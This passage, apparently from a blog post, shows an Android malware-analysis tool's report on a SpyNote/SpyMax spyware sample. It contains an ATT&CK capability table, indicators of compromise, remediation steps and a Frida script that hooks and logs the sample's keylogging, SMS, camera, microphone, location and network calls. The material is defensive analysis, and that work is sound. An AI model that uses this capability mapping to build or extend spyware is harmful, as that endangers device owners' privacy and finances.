│<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>                                                                                                                                     <br>  ID           Technique                        Tactic                 Relevance                                                     <br> ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ <br>  T1629.001    Impair Defenses: Prevent         Defense Evasion        AdminReceiver device administrator prevents uninstallation;   <br>               Application Removal                                                                                                   <br>  T1417.001    Input Capture: Keylogging        Collection             Accessibility service (nSsAP24) with onAccessibilityEvent ha  <br>  T1417.002    Input Capture: GUI Input         Collection             Overlay capability via SYSTEM_ALERT_WINDOW permission for ph  <br>               Capture                                                                                                               <br>  T1636.004    Protected User Data: SMS         Collection             READ_SMS permission for OTP interception; SEND_SMS for premi  <br>               Messages                                                                                                              <br>  T1429        Audio Capture                    Collection             RECORD_AUDIO permission enables real-time microphone surveil  <br>  T1512        Video Capture                    Collection             CAMERA permission for covert photo/video capture              <br>  T1430        Location Tracking                Collection             ACCESS_FINE_LOCATION + LocationManager.getLastKnownLocation   <br>  T1636.002    Protected User Data: Call Logs   Collection             READ_CALL_LOG permission for call history exfiltration        <br>  T1636.003    Protected User Data: Contact     Collection             READ_CONTACTS permission for contact harvesting               <br>               List                                                                                                                  <br>  T1544        Ingress Tool Transfer            Command and Control    DexClassLoader dynamic DEX loading confirmed by YARA for dow  <br>  T1633.001    Virtualization/Sandbox           Defense Evasion        Emulator detection confirmed by YARA AntiAnalysis_EmulatorCh  <br>               Evasion: System Checks                                                                                                <br>  T1626.001    Abuse Elevation Control          Privilege Escalation   AdminReceiver component explicitly registered for device adm  <br>               Mechanism: Device                                                                                                     <br>               Administrator                                                                                                         <br>                                                                                                                                     <br>╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│   • sha256:7129d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07                                                                                                                                                                                                                                               │<br>│   • md5:b2c5e29222f57cf91d30d37b8ec54cc3                                                                                                                                                                                                                                                                                  │<br>│   • package:elimination.kitchen.secured                                                                                                                                                                                                                                                                                   │<br>│   • app_name:GoosApp                                                                                                                                                                                                                                                                                                      │<br>│   • cert_sha256:465983f7791f2abeb43ea2cbdc7f21a8260b72bc08a55c839fc1a43bc741a81e                                                                                                                                                                                                                                          │<br>│   • receiver:elimination.kitchen.AdminReceiver                                                                                                                                                                                                                                                                            │<br>│   • accessibility_service:gdflvwzqcjwsyigjsmgjolyskkyyhnfrhdsyyrxpmdzmoavvhj6nSsAP24                                                                                                                                                                                                                                      │<br>│   • dns:1.1.1.1                                                                                                                                                                                                                                                                                                           │<br>│   • dns:1.0.0.1                                                                                                                                                                                                                                                                                                           │<br>│   • dns:8.8.8.8                                                                                                                                                                                                                                                                                                           │<br>│   • dns:8.8.4.4                                                                                                                                                                                                                                                                                                           │<br>│   • family:SpyNote/SpyMax                                                                                                                                                                                                                                                                                                 │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│   1. 1. IMMEDIATELY boot into Safe Mode and navigate to Settings → Security → Device Administrators. Deactivate the AdminReceiver to allow uninstallation.                                                                                                                                                                │<br>│   2. 2. If device admin cannot be deactivated, perform a FACTORY RESET — SpyNote's accessibility service will auto-reactivate admin if attempted in normal mode.                                                                                                                                                          │<br>│   3. 3. Change ALL passwords for banking, email, social media, and any other accounts accessed from the device — assume all credentials are compromised.                                                                                                                                                                  │<br>│   4. 4. Contact your bank immediately to report potential OTP interception and request temporary account freeze and new 2FA tokens.                                                                                                                                                                                       │<br>│   5. 5. Check SMS history for unauthorized premium-rate messages and dispute charges with carrier.                                                                                                                                                                                                                        │<br>│   6. 6. Scan all other devices on the same network — SpyNote operators often target multiple devices.                                                                                                                                                                                                                     │<br>│   7. 7. Report the APK hash to Google Play Protect via the Android Security team.                                                                                                                                                                                                                                         │<br>│   8. 8. Enable Google Play Protect and ensure 'Scan apps with Play Protect' is re-enabled (SpyNote may have disabled it).                                                                                                                                                                                                 │<br>│   9. 9. Consider the device physically compromised for location data — if personal safety is a concern, assume your location history has been tracked.                                                                                                                                                                    │<br>│   10. 10. File a report with local law enforcement cybercrime unit including the SHA256 hash and any distribution URL.                                                                                                                                                                                                    │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│     1 // SpyNote/SpyMax RAT Frida Hook Suite for elimination.kitchen.secured                                                                                                                                                                                                                                              │<br>│     2 // Run: frida -U -f elimination.kitchen.secured -l spynote_hooks.js --no-pause                                                                                                                                                                                                                                      │<br>│     3                                                                                                                                                                                                                                                                                                                     │<br>│     4 Java.perform(function() {                                                                                                                                                                                                                                                                                           │<br>│     5     console.log('[*] SpyNote/SpyMax Frida Hook Suite Loaded');                                                                                                                                                                                                                                                      │<br>│     6     console.log('[*] Target: elimination.kitchen.secured (GoosApp)');                                                                                                                                                                                                                                               │<br>│     7                                                                                                                                                                                                                                                                                                                     │<br>│     8     // ============================================================                                                                                                                                                                                                                                                 │<br>│     9     // HOOK 1: Accessibility Service - Capture all accessibility events                                                                                                                                                                                                                                             │<br>│    10     // The core keylogging/UI automation service (nSsAP24)                                                                                                                                                                                                                                                          │<br>│    11     // ============================================================                                                                                                                                                                                                                                                 │<br>│    12     try {                                                                                                                                                                                                                                                                                                           │<br>│    13         var AccessibilityService = Java.use('android.accessibilityservice.AccessibilityService');                                                                                                                                                                                                                   │<br>│    14         AccessibilityService.onAccessibilityEvent.implementation = function(event) {                                                                                                                                                                                                                                │<br>│    15             if (event != null) {                                                                                                                                                                                                                                                                                    │<br>│    16                 var eventType = event.getEventType();                                                                                                                                                                                                                                                               │<br>│    17                 var packageName = event.getPackageName();                                                                                                                                                                                                                                                           │<br>│    18                 var text = event.getText();                                                                                                                                                                                                                                                                         │<br>│    19                 var className = event.getClassName();                                                                                                                                                                                                                                                               │<br>│    20                 console.log('[ACCESSIBILITY] Type: ' + eventType +                                                                                                                                                                                                                                                  │<br>│    21                     ' | Pkg: ' + packageName +                                                                                                                                                                                                                                                                      │<br>│    22                     ' | Class: ' + className +                                                                                                                                                                                                                                                                      │<br>│    23                     ' | Text: ' + text);                                                                                                                                                                                                                                                                            │<br>│    24                 // Log TYPE_VIEW_TEXT_CHANGED (keylogging)                                                                                                                                                                                                                                                          │<br>│    25                 if (eventType === 16) {                                                                                                                                                                                                                                                                             │<br>│    26                     console.log('[KEYLOG] Text changed in ' + packageName + ': ' + text);                                                                                                                                                                                                                           │<br>│    27                 }                                                                                                                                                                                                                                                                                                   │<br>│    28             }                                                                                                                                                                                                                                                                                                       │<br>│    29             this.onAccessibilityEvent(event);                                                                                                                                                                                                                                                                       │<br>│    30         };                                                                                                                                                                                                                                                                                                          │<br>│    31         console.log('[+] Hooked AccessibilityService.onAccessibilityEvent');                                                                                                                                                                                                                                        │<br>│    32     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│    33         console.log('[-] AccessibilityService hook failed: ' + e);                                                                                                                                                                                                                                                  │<br>│    34     }                                                                                                                                                                                                                                                                                                               │<br>│    35                                                                                                                                                                                                                                                                                                                     │<br>│    36     // ============================================================                                                                                                                                                                                                                                                 │<br>│    37     // HOOK 2: GestureDescription.Builder - Detect programmatic taps                                                                                                                                                                                                                                                │<br>│    38     // SpyNote uses this to auto-click UI elements                                                                                                                                                                                                                                                                  │<br>│    39     // ============================================================                                                                                                                                                                                                                                                 │<br>│    40     try {                                                                                                                                                                                                                                                                                                           │<br>│    41         var GestureBuilder = Java.use('android.accessibilityservice.GestureDescription$Builder');                                                                                                                                                                                                                   │<br>│    42         GestureBuilder.build.implementation = function() {                                                                                                                                                                                                                                                          │<br>│    43             console.log('[GESTURE] GestureDescription.Builder.build() called - SpyNote automating UI interaction');                                                                                                                                                                                                 │<br>│    44             console.log('[GESTURE] Stack: ' + Java.use('android.util.Log').getStackTraceString(Java.use('java.lang.Exception').$new()));                                                                                                                                                                            │<br>│    45             return this.build();                                                                                                                                                                                                                                                                                    │<br>│    46         };                                                                                                                                                                                                                                                                                                          │<br>│    47         console.log('[+] Hooked GestureDescription.Builder.build');                                                                                                                                                                                                                                                 │<br>│    48     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│    49         console.log('[-] GestureBuilder hook failed: ' + e);                                                                                                                                                                                                                                                        │<br>│    50     }                                                                                                                                                                                                                                                                                                               │<br>│    51                                                                                                                                                                                                                                                                                                                     │<br>│    52     // ============================================================                                                                                                                                                                                                                                                 │<br>│    53     // HOOK 3: SMS Interception - Capture all SMS read/send operations                                                                                                                                                                                                                                              │<br>│    54     // SpyNote steals OTPs and sends premium-rate SMS                                                                                                                                                                                                                                                               │<br>│    55     // ============================================================                                                                                                                                                                                                                                                 │<br>│    56     try {                                                                                                                                                                                                                                                                                                           │<br>│    57         var SmsManager = Java.use('android.telephony.SmsManager');                                                                                                                                                                                                                                                  │<br>│    58         SmsManager.sendTextMessage.overload('java.lang.String', 'java.lang.String', 'java.lang.String', 'android.app.PendingIntent', 'android.app.PendingIntent').implementation = function(dest, sc, text, sentIntent, deliveryIntent) {                                                                           │<br>│    59             console.log('[SMS-SEND] Destination: ' + dest + ' | Text: ' + text);                                                                                                                                                                                                                                    │<br>│    60             console.log('[SMS-SEND] WARNING: Possible premium-rate SMS fraud!');                                                                                                                                                                                                                                    │<br>│    61             // Block the SMS send to prevent financial damage                                                                                                                                                                                                                                                       │<br>│    62             // Uncomment next line to block: return;                                                                                                                                                                                                                                                                │<br>│    63             this.sendTextMessage(dest, sc, text, sentIntent, deliveryIntent);                                                                                                                                                                                                                                       │<br>│    64         };                                                                                                                                                                                                                                                                                                          │<br>│    65         console.log('[+] Hooked SmsManager.sendTextMessage');                                                                                                                                                                                                                                                       │<br>│    66     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│    67         console.log('[-] SmsManager hook failed: ' + e);                                                                                                                                                                                                                                                            │<br>│    68     }                                                                                                                                                                                                                                                                                                               │<br>│    69                                                                                                                                                                                                                                                                                                                     │<br>│    70     // ============================================================                                                                                                                                                                                                                                                 │<br>│    71     // HOOK 4: Overlay/Window Injection - Capture phishing overlays                                                                                                                                                                                                                                                 │<br>│    72     // Detects when SpyNote draws over banking apps                                                                                                                                                                                                                                                                 │<br>│    73     // ============================================================                                                                                                                                                                                                                                                 │<br>│    74     try {                                                                                                                                                                                                                                                                                                           │<br>│    75         var WindowManager = Java.use('android.view.WindowManager$LayoutParams');                                                                                                                                                                                                                                    │<br>│    76         var WindowManagerImpl = Java.use('android.view.WindowManagerImpl');                                                                                                                                                                                                                                         │<br>│    77         WindowManagerImpl.addView.implementation = function(view, params) {                                                                                                                                                                                                                                         │<br>│    78             if (params != null) {                                                                                                                                                                                                                                                                                   │<br>│    79                 var type = params.type.value;                                                                                                                                                                                                                                                                       │<br>│    80                 var flags = params.flags.value;                                                                                                                                                                                                                                                                     │<br>│    81                 console.log('[OVERLAY] WindowManager.addView() | Type: ' + type + ' | Flags: ' + flags);                                                                                                                                                                                                            │<br>│    82                 if (type === 2038 || type === 2002 || type === 2010) {                                                                                                                                                                                                                                              │<br>│    83                     console.log('[OVERLAY] ALERT: System overlay window created - possible phishing injection!');                                                                                                                                                                                                   │<br>│    84                     console.log('[OVERLAY] View class: ' + view.getClass().getName());                                                                                                                                                                                                                              │<br>│    85                 }                                                                                                                                                                                                                                                                                                   │<br>│    86             }                                                                                                                                                                                                                                                                                                       │<br>│    87             this.addView(view, params);                                                                                                                                                                                                                                                                             │<br>│    88         };                                                                                                                                                                                                                                                                                                          │<br>│    89         console.log('[+] Hooked WindowManagerImpl.addView');                                                                                                                                                                                                                                                        │<br>│    90     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│    91         console.log('[-] WindowManager hook failed: ' + e);                                                                                                                                                                                                                                                         │<br>│    92     }                                                                                                                                                                                                                                                                                                               │<br>│    93                                                                                                                                                                                                                                                                                                                     │<br>│    94     // ============================================================                                                                                                                                                                                                                                                 │<br>│    95     // HOOK 5: Audio Recording - Detect microphone surveillance                                                                                                                                                                                                                                                     │<br>│    96     // ============================================================                                                                                                                                                                                                                                                 │<br>│    97     try {                                                                                                                                                                                                                                                                                                           │<br>│    98         var MediaRecorder = Java.use('android.media.MediaRecorder');                                                                                                                                                                                                                                                │<br>│    99         MediaRecorder.start.implementation = function() {                                                                                                                                                                                                                                                           │<br>│   100             console.log('[AUDIO] MediaRecorder.start() - Microphone recording initiated!');                                                                                                                                                                                                                         │<br>│   101             console.log('[AUDIO] Stack: ' + Java.use('android.util.Log').getStackTraceString(Java.use('java.lang.Exception').$new()));                                                                                                                                                                              │<br>│   102             this.start();                                                                                                                                                                                                                                                                                           │<br>│   103         };                                                                                                                                                                                                                                                                                                          │<br>│   104         console.log('[+] Hooked MediaRecorder.start');                                                                                                                                                                                                                                                              │<br>│   105                                                                                                                                                                                                                                                                                                                     │<br>│   106         var AudioRecord = Java.use('android.media.AudioRecord');                                                                                                                                                                                                                                                    │<br>│   107         AudioRecord.startRecording.implementation = function() {                                                                                                                                                                                                                                                    │<br>│   108             console.log('[AUDIO] AudioRecord.startRecording() - Low-level audio capture started!');                                                                                                                                                                                                                 │<br>│   109             this.startRecording();                                                                                                                                                                                                                                                                                  │<br>│   110         };                                                                                                                                                                                                                                                                                                          │<br>│   111         console.log('[+] Hooked AudioRecord.startRecording');                                                                                                                                                                                                                                                       │<br>│   112     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   113         console.log('[-] Audio hook failed: ' + e);                                                                                                                                                                                                                                                                 │<br>│   114     }                                                                                                                                                                                                                                                                                                               │<br>│   115                                                                                                                                                                                                                                                                                                                     │<br>│   116     // ============================================================                                                                                                                                                                                                                                                 │<br>│   117     // HOOK 6: Camera Capture - Detect covert photography                                                                                                                                                                                                                                                           │<br>│   118     // ============================================================                                                                                                                                                                                                                                                 │<br>│   119     try {                                                                                                                                                                                                                                                                                                           │<br>│   120         var Camera = Java.use('android.hardware.Camera');                                                                                                                                                                                                                                                           │<br>│   121         Camera.open.overload('int').implementation = function(cameraId) {                                                                                                                                                                                                                                           │<br>│   122             console.log('[CAMERA] Camera.open(id=' + cameraId + ') - Covert camera access!');                                                                                                                                                                                                                       │<br>│   123             return this.open(cameraId);                                                                                                                                                                                                                                                                             │<br>│   124         };                                                                                                                                                                                                                                                                                                          │<br>│   125         console.log('[+] Hooked Camera.open');                                                                                                                                                                                                                                                                      │<br>│   126     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   127         console.log('[-] Camera hook failed: ' + e);                                                                                                                                                                                                                                                                │<br>│   128     }                                                                                                                                                                                                                                                                                                               │<br>│   129                                                                                                                                                                                                                                                                                                                     │<br>│   130     try {                                                                                                                                                                                                                                                                                                           │<br>│   131         var CameraManager = Java.use('android.hardware.camera2.CameraManager');                                                                                                                                                                                                                                     │<br>│   132         CameraManager.openCamera.overload('java.lang.String', 'android.hardware.camera2.CameraDevice$StateCallback', 'android.os.Handler').implementation = function(cameraId, callback, handler) {                                                                                                                 │<br>│   133             console.log('[CAMERA2] CameraManager.openCamera(id=' + cameraId + ') - Camera2 API access!');                                                                                                                                                                                                           │<br>│   134             this.openCamera(cameraId, callback, handler);                                                                                                                                                                                                                                                           │<br>│   135         };                                                                                                                                                                                                                                                                                                          │<br>│   136         console.log('[+] Hooked CameraManager.openCamera');                                                                                                                                                                                                                                                         │<br>│   137     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   138         console.log('[-] Camera2 hook failed: ' + e);                                                                                                                                                                                                                                                               │<br>│   139     }                                                                                                                                                                                                                                                                                                               │<br>│   140                                                                                                                                                                                                                                                                                                                     │<br>│   141     // ============================================================                                                                                                                                                                                                                                                 │<br>│   142     // HOOK 7: Location Tracking - Capture GPS exfiltration                                                                                                                                                                                                                                                         │<br>│   143     // ============================================================                                                                                                                                                                                                                                                 │<br>│   144     try {                                                                                                                                                                                                                                                                                                           │<br>│   145         var LocationManager = Java.use('android.location.LocationManager');                                                                                                                                                                                                                                         │<br>│   146         LocationManager.getLastKnownLocation.implementation = function(provider) {                                                                                                                                                                                                                                  │<br>│   147             var location = this.getLastKnownLocation(provider);                                                                                                                                                                                                                                                     │<br>│   148             if (location != null) {                                                                                                                                                                                                                                                                                 │<br>│   149                 console.log('[LOCATION] getLastKnownLocation(' + provider + ') = Lat: ' +                                                                                                                                                                                                                           │<br>│   150                     location.getLatitude() + ', Lon: ' + location.getLongitude());                                                                                                                                                                                                                                  │<br>│   151             }                                                                                                                                                                                                                                                                                                       │<br>│   152             return location;                                                                                                                                                                                                                                                                                        │<br>│   153         };                                                                                                                                                                                                                                                                                                          │<br>│   154         console.log('[+] Hooked LocationManager.getLastKnownLocation');                                                                                                                                                                                                                                             │<br>│   155     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   156         console.log('[-] Location hook failed: ' + e);                                                                                                                                                                                                                                                              │<br>│   157     }                                                                                                                                                                                                                                                                                                               │<br>│   158                                                                                                                                                                                                                                                                                                                     │<br>│   159     // ============================================================                                                                                                                                                                                                                                                 │<br>│   160     // HOOK 8: Dynamic Class Loading - Detect payload drops                                                                                                                                                                                                                                                         │<br>│   161     // SpyNote loads additional DEX modules at runtime                                                                                                                                                                                                                                                              │<br>│   162     // ============================================================                                                                                                                                                                                                                                                 │<br>│   163     try {                                                                                                                                                                                                                                                                                                           │<br>│   164         var DexClassLoader = Java.use('dalvik.system.DexClassLoader');                                                                                                                                                                                                                                              │<br>│   165         DexClassLoader.$init.implementation = function(dexPath, optimizedDir, librarySearchPath, parent) {                                                                                                                                                                                                          │<br>│   166             console.log('[DEX-LOAD] DexClassLoader loading: ' + dexPath);                                                                                                                                                                                                                                           │<br>│   167             console.log('[DEX-LOAD] Optimized dir: ' + optimizedDir);                                                                                                                                                                                                                                               │<br>│   168             this.$init(dexPath, optimizedDir, librarySearchPath, parent);                                                                                                                                                                                                                                           │<br>│   169         };                                                                                                                                                                                                                                                                                                          │<br>│   170         console.log('[+] Hooked DexClassLoader.$init');                                                                                                                                                                                                                                                             │<br>│   171                                                                                                                                                                                                                                                                                                                     │<br>│   172         var ClassLoader = Java.use('java.lang.ClassLoader');                                                                                                                                                                                                                                                        │<br>│   173         ClassLoader.loadClass.overload('java.lang.String').implementation = function(name) {                                                                                                                                                                                                                        │<br>│   174             if (name.indexOf('elimination.kitchen') !== -1) {                                                                                                                                                                                                                                                       │<br>│   175                 console.log('[CLASS-LOAD] Loading: ' + name);                                                                                                                                                                                                                                                       │<br>│   176             }                                                                                                                                                                                                                                                                                                       │<br>│   177             return this.loadClass(name);                                                                                                                                                                                                                                                                            │<br>│   178         };                                                                                                                                                                                                                                                                                                          │<br>│   179         console.log('[+] Hooked ClassLoader.loadClass');                                                                                                                                                                                                                                                            │<br>│   180     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   181         console.log('[-] ClassLoader hook failed: ' + e);                                                                                                                                                                                                                                                           │<br>│   182     }                                                                                                                                                                                                                                                                                                               │<br>│   183                                                                                                                                                                                                                                                                                                                     │<br>│   184     // ============================================================                                                                                                                                                                                                                                                 │<br>│   185     // HOOK 9: Network Connections - Capture C2 communications                                                                                                                                                                                                                                                      │<br>│   186     // SpyNote uses raw TCP sockets for C2                                                                                                                                                                                                                                                                          │<br>│   187     // ============================================================                                                                                                                                                                                                                                                 │<br>│   188     try {                                                                                                                                                                                                                                                                                                           │<br>│   189         var Socket = Java.use('java.net.Socket');                                                                                                                                                                                                                                                                   │<br>│   190         Socket.$init.overload('java.lang.String', 'int').implementation = function(host, port) {                                                                                                                                                                                                                    │<br>│   191             console.log('[C2-SOCKET] Socket connecting to: ' + host + ':' + port);                                                                                                                                                                                                                                  │<br>│   192             this.$init(host, port);                                                                                                                                                                                                                                                                                 │<br>│   193         };                                                                                                                                                                                                                                                                                                          │<br>│   194         Socket.$init.overload('java.net.InetAddress', 'int').implementation = function(addr, port) {                                                                                                                                                                                                                │<br>│   195             console.log('[C2-SOCKET] Socket connecting to: ' + addr.getHostAddress() + ':' + port);                                                                                                                                                                                                                 │<br>│   196             this.$init(addr, port);                                                                                                                                                                                                                                                                                 │<br>│   197         };                                                                                                                                                                                                                                                                                                          │<br>│   198         console.log('[+] Hooked Socket.$init');                                                                                                                                                                                                                                                                     │<br>│   199                                                                                                                                                                                                                                                                                                                     │<br>│   200         var URL = Java.use('java.net.URL');                                                                                                                                                                                                                                                                         │<br>│   201         URL.$init.overload('java.lang.String').implementation = function(url) {                                                                                                                                                                                                                                     │<br>│   202             console.log('[NET-URL] URL created: ' + url);                                                                                                                                                                                                                                                           │<br>│   203             this.$init(url);                                                                                                                                                                                                                                                                                        │<br>│   204         };                                                                                                                                                                                                                                                                                                          │<br>│   205         console.log('[+] Hooked URL.$init');                                                                                                                                                                                                                                                                        │<br>│   206     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   207         console.log('[-] Network hook failed: ' + e);                                                                                                                                                                                                                                                               │<br>│   208     }                                                                                                                                                                                                                                                                                                               │<br>│   209                                                                                                                                                                                                                                                                                                                     │<br>│   210     // ============================================================                                                                                                                                                                                                                                                 │<br>│   211     // HOOK 10: Reflection Calls - Detect hidden API invocations                                                                                                                                                                                                                                                    │<br>│   212     // SpyNote uses reflection to evade static analysis                                                                                                                                                                                                                                                             │<br>│   213     // ============================================================                                                                                                                                                                                                                                                 │<br>│   214     try {                                                                                                                                                                                                                                                                                                           │<br>│   215         var Method = Java.use('java.lang.reflect.Method');                                                                                                                                                                                                                                                          │<br>│   216         Method.invoke.implementation = function(obj, args) {                                                                                                                                                                                                                                                        │<br>│   217             var methodName = this.getName();                                                                                                                                                                                                                                                                        │<br>│   218             var className = this.getDeclaringClass().getName();                                                                                                                                                                                                                                                     │<br>│   219             if (className.indexOf('elimination') !== -1 || className.indexOf('android.app.admin') !== -1) {                                                                                                                                                                                                         │<br>│   220                 console.log('[REFLECT] ' + className + '.' + methodName + '() invoked via reflection');                                                                                                                                                                                                             │<br>│   221                 if (args != null) {                                                                                                                                                                                                                                                                                 │<br>│   222                     for (var i = 0; i &lt; args.length; i++) {                                                                                                                                                                                                                                                         │<br>│   223                         console.log('[REFLECT]   arg[' + i + ']: ' + args[i]);                                                                                                                                                                                                                                      │<br>│   224                     }                                                                                                                                                                                                                                                                                               │<br>│   225                 }                                                                                                                                                                                                                                                                                                   │<br>│   226             }                                                                                                                                                                                                                                                                                                       │<br>│   227             return this.invoke(obj, args);                                                                                                                                                                                                                                                                          │<br>│   228         };                                                                                                                                                                                                                                                                                                          │<br>│   229         console.log('[+] Hooked Method.invoke');                                                                                                                                                                                                                                                                    │<br>│   230     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   231         console.log('[-] Reflection hook failed: ' + e);                                                                                                                                                                                                                                                            │<br>│   232     }                                                                                                                                                                                                                                                                                                               │<br>│   233                                                                                                                                                                                                                                                                                                                     │<br>│   234     // ============================================================                                                                                                                                                                                                                                                 │<br>│   235     // HOOK 11: Device Admin - Detect admin privilege abuse                                                                                                                                                                                                                                                         │<br>│   236     // ============================================================                                                                                                                                                                                                                                                 │<br>│   237     try {                                                                                                                                                                                                                                                                                                           │<br>│   238         var DevicePolicyManager = Java.use('android.app.admin.DevicePolicyManager');                                                                                                                                                                                                                                │<br>│   239         DevicePolicyManager.lockNow.implementation = function() {                                                                                                                                                                                                                                                   │<br>│   240             console.log('[ADMIN] DevicePolicyManager.lockNow() called - Screen lock attack!');                                                                                                                                                                                                                      │<br>│   241             this.lockNow();                                                                                                                                                                                                                                                                                         │<br>│   242         };                                                                                                                                                                                                                                                                                                          │<br>│   243         DevicePolicyManager.resetPassword.overload('java.lang.String', 'int').implementation = function(password, flags) {                                                                                                                                                                                          │<br>│   244             console.log('[ADMIN] resetPassword called with: ' + password + ' | flags: ' + flags);                                                                                                                                                                                                                   │<br>│   245             return this.resetPassword(password, flags);                                                                                                                                                                                                                                                             │<br>│   246         };                                                                                                                                                                                                                                                                                                          │<br>│   247         DevicePolicyManager.wipeData.overload('int').implementation = function(flags) {                                                                                                                                                                                                                             │<br>│   248             console.log('[ADMIN] CRITICAL: wipeData() called! Device wipe attempted! Flags: ' + flags);                                                                                                                                                                                                             │<br>│   249             // Block the wipe to preserve evidence                                                                                                                                                                                                                                                                  │<br>│   250             // this.wipeData(flags);                                                                                                                                                                                                                                                                                │<br>│   251             console.log('[ADMIN] BLOCKED device wipe for forensic preservation');                                                                                                                                                                                                                                   │<br>│   252         };                                                                                                                                                                                                                                                                                                          │<br>│   253         console.log('[+] Hooked DevicePolicyManager (lockNow, resetPassword, wipeData)');                                                                                                                                                                                                                           │<br>│   254     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   255         console.log('[-] DevicePolicyManager hook failed: ' + e);                                                                                                                                                                                                                                                   │<br>│   256     }                                                                                                                                                                                                                                                                                                               │<br>│   257                                                                                                                                                                                                                                                                                                                     │<br>│   258     // ============================================================                                                                                                                                                                                                                                                 │<br>│   259     // HOOK 12: SharedPreferences - Capture config/token storage                                                                                                                                                                                                                                                    │<br>│   260     // SpyNote stores C2 config and tokens in SharedPreferences                                                                                                                                                                                                                                                     │<br>│   261     // ============================================================                                                                                                                                                                                                                                                 │<br>│   262     try {                                                                                                                                                                                                                                                                                                           │<br>│   263         var SharedPreferencesEditor = Java.use('android.app.SharedPreferencesImpl$EditorImpl');                                                                                                                                                                                                                     │<br>│   264         SharedPreferencesEditor.putString.implementation = function(key, value) {                                                                                                                                                                                                                                   │<br>│   265             if (key === 'token' || key.indexOf('c2') !== -1 || key.indexOf('server') !== -1 || key.indexOf('host') !== -1 || key.indexOf('port') !== -1) {                                                                                                                                                          │<br>│   266                 console.log('[CONFIG] SharedPreferences.putString("' + key + '", "' + value + '")');                                                                                                                                                                                                                │<br>│   267             }                                                                                                                                                                                                                                                                                                       │<br>│   268             return this.putString(key, value);                                                                                                                                                                                                                                                                      │<br>│   269         };                                                                                                                                                                                                                                                                                                          │<br>│   270         console.log('[+] Hooked SharedPreferences.putString');                                                                                                                                                                                                                                                      │<br>│   271     } catch(e) {                                                                                                                                                                                                                                                                                                    │<br>│   272         console.log('[-] SharedPreferences hook failed: ' + e);                                                                                                                                                                                                                                                     │<br>│   273     }                                                                                                                                                                                                                                                                                                               │<br>│   274                                                                                                                                                                                                                                                                                                                     │<br>│   275     console.log('[*] All hooks installed. Monitoring SpyNote/SpyMax RAT activity...');                                                                                                                                                                                                                              │<br>│   276 });                                                                                                                                                                                                                                                                                                                 │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br><br>Saving Reports...<br>  ✓ JSON report: reports/elimination_kitchen_secured_20260330_113737.json<br>  ✓ Frida script: reports/elimination_kitchen_secured_frida_hooks.js<br>─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br><br>  Analysis completed in 124.1s<br>  JSON Report:   reports/elimination_kitchen_secured_20260330_113737.json<br>  Frida Script:  reports/elimination_kitchen_secured_frida_hooks.js</pre><h3>What Each Phase Does</h3><h4>Phase 1 — Static Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rhxbr-T5BQDcQBz0QrlV0g.png"></figure><p>Androguard parses the APK and extracts:</p><ul><li>Package name, version, min/target SDK</li><li>All declared and used permissions</li><li>Activities, Services, BroadcastReceivers, ContentProviders (with exported flags and intent filters)</li><li>Certificate chain (issuer, validity, self-signed flag)</li><li>DEX files + native .so libraries</li><li>All strings, URLs, IPs, domains, email addresses</li><li>Shannon entropy per DEX file (flags encrypted/packed payloads)</li></ul><h4>Phase 2 — Threat Indicator Scoring</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zbfyMA6jReRZVRg5iBSshw.png"></figure><p>A rule-based engine scores four dimensions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VIWjc67laLJY-SNbDXu99Q.png"></figure><p>The final <strong>Risk Score (0–100)</strong> uses a weighted formula with severity floors — so a banking trojan with CRITICAL indicators but no hardcoded C2 (because it downloads the C2 dynamically) still scores HIGH rather than being dragged down by a zero network score.</p><p>Risk levels: CLEAN → LOW → MEDIUM → HIGH → CRITICAL</p><h4>Phase 2b — Semantic Analysis</h4><p>Component names tell a story. SmsInterceptorService, ScreenOverlayActivity, KeyloggerAccessibility — these aren't accidents. The semantic analyzer maps component names and string patterns to capability categories and MITRE ATT&amp;CK techniques without needing to decompile any bytecode.</p><p>Example output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*8j5CoAXYIay94qvnQtVk-w.png"></figure><pre>CRITICAL  Service    Remote Access Trojan C2      T1571  RemoteControlService<br>HIGH      